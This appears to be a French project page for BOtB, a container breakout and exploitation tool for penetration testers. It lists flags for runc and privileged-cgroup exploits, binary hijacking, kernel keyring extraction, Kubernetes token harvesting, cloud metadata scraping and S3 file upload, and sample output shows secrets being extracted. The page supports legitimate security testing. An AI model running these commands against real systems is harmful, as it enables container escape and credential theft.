brompwnie/botbUn outil d'analyse et d'exploitation de conteneurs pour les testeurs d'intrusion et les ingénieurs.
BOtB est un outil d'analyse et d'exploitation de conteneurs conçu pour être utilisé par les pentesters et les ingénieurs, tout en étant compatible CI/CD avec les technologies CI/CD courantes.
BOtB est un outil en ligne de commande qui vous permet de :
Pour les instructions d'installation à partir des binaires, veuillez consulter la Page des versions.
go get github.com/brompwnie/botb
Compilation de BOtB via Go :
go build
Compilation de BOtB via Make :
make
BOtB peut être compilé en un binaire pour la plateforme ciblée et prend en charge l'utilisation suivante
./botb-linux-amd64 -h
-aggr string
Attempt to exploit RuncPWN (default "nil")
-always-succeed
Always set BOtB's Exit code to Zero
-autopwn
Attempt to autopwn exposed sockets
-cicd
Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
-config string
Load config from provided yaml file (default "nil")
-endpoints string
Provide a textfile with endpoints to use for test (default "nil")
-find-docker
Attempt to find Dockerd
-find-http
Hunt for Available UNIX Domain Sockets with HTTP
-find-sockets
Hunt for Available UNIX Domain Sockets
-hijack string
Attempt to hijack binaries on host (default "nil")
-k8secrets
Identify and Verify K8's Secrets
-keyMax int
Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000)
-keyMin int
Minimum key id range (default 1) (default 1)
-metadata
Attempt to find metadata services
-path string
Path to Start Scanning for UNIX Domain Sockets (default "/")
-pwn-privileged string
Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
-pwnKeyctl
Abuse keyctl syscalls and extract data from Linux Kernel keyrings
-recon
Perform Recon of the Container ENV
-region string
Provide a AWS Region e.g eu-west-2 (default "nil")
-rev-dns string
Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
-s3bucket string
Provide a bucket name for S3 Push (default "nil")
-s3push string
Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
-scrape-gcp
Attempt to scrape the GCP metadata service
-verbose
Verbose output
-wordlist string
Provide a wordlist (default "nil")
BOtB peut également être configuré pour charger les paramètres à partir d'un fichier YAML via le paramètre de configuration
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...
Les exemples d'utilisation suivants renverront un code de sortie > 0 par défaut lorsqu'une anomalie est détectée, ce qui est représenté par "echo $?" qui affiche le code de sortie de la dernière commande exécutée.
Plus d'informations de l'auteur original ici https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/
#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
"KeyId": 13738777,
"Valid": true,
"Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
"Type": "keyring",
"Uid": "0",
"Gid": "0",
"Perms": "3f1b0000",
"String_Content": "\ufffd\ufffd\ufffd\u000e",
"Byte_Content": "wP73Dg==",
"Comments": null,
"Subkeys": [
{
"KeyId": 251133632,
"Valid": true,
"Name": "brompwnie_secret",
"Type": "user",
"Uid": "0",
"Gid": "0",
"Perms": "3f010000",
"String_Content": "thetruthisialsoreallyliketrees",
"Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
"Comments": null,
"Subkeys": null,
"Output": ""
}
],
"Output": ""
}
[+] Finished
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying: https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying: https://kubernetes.default/api/v1/namespaces
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished